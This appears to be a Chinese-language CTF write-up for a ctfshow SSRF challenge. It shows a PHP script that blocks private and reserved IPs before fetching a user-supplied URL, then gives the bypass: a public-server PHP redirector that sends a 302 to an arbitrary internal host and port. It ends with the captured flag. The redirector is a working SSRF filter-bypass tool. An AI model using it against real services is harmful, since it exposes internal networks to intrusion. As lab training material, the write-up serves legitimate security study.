nginx/1.18.0PHP/7.3.22

    1. <?php
    2. error_reporting(0);
    3. highlight_file(__FILE__);
    4. $url=$_POST['url'];
    5. $x=parse_url($url);
    6. if($x['scheme']==='http'||$x['scheme']==='https'){
    7. $ip = gethostbyname($x['host']);
    8. echo '</br>'.$ip.'</br>';
    9. if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    10. die('ip!');
    11. }
    12. echo file_get_contents($_POST['url']);
    13. }
    14. else{
    15. die('scheme');
    16. }
    17. ?>

    分析:
    先获取主机名对应的ip,然后用IP过滤器进行过滤

    • FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
    • FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

    即,主机名解析的 IP 不能是保留地址或者是内网 IP。

    这时利用公网服务器进行重定向即可,为了以后的题目 fuzz 方便,写好参数

    1. <?php
    2. $h_p_p = explode("@", $_GET['h']);
    3. $host = $h_p_p[0] or '127.0.0.1';
    4. $port = $h_p_p[1] or '80';
    5. $path = $h_p_p[2] or '';
    6. header("Location: http://$host:$port/$path", TRUE, 302);
    7. ?>

    image.png
    flag
    ctfshow{a39947fd-258e-4d44-82ce-9d4cdfb8cb28}